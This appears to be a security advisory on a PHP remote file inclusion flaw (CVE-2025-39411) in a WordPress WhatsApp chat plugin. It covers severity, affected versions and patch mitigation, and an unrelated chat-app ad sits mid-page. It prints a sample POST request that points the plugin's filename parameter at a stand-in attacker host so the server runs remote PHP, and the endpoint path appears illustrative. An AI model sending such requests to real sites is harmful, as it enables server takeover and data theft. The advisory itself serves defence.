Overview
This report discusses CVE-2025-39411, a significant vulnerability in the Indie_Plugins WhatsApp Click to Chat Plugin for WordPress. This vulnerability, stemming from an improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’), leaves systems open to potential compromise and data leakage. It is particularly worrisome due to the popularity and widespread use of WordPress plugins.
Vulnerability Summary
CVE ID: CVE-2025-39411
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Indie_Plugins WhatsApp Click to Chat Plugin for WordPress | n/a through 2.2.12
How the Exploit Works
The vulnerability arises from the improper control of filename for Include/Require Statement in a PHP Program. An attacker can manipulate the filename, leading to the remote inclusion of files from external servers. This allows for arbitrary code execution on the server side, which can result in a system compromise or data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This does not represent an actual exploit code but serves to illustrate the concept.
POST /wp-content/plugins/whatsapp-click-to-chat/filename.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
filename=http://malicious.example.com/malicious_file.php
In the above example, an attacker sends a POST request to the vulnerable endpoint, specifying a malicious PHP file hosted on their server as the filename. The server then includes this file and executes the malicious code.
Mitigation
As of now, the best way to mitigate this vulnerability is to apply the vendor patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. This should, however, be considered a temporary solution until the patch can be applied.

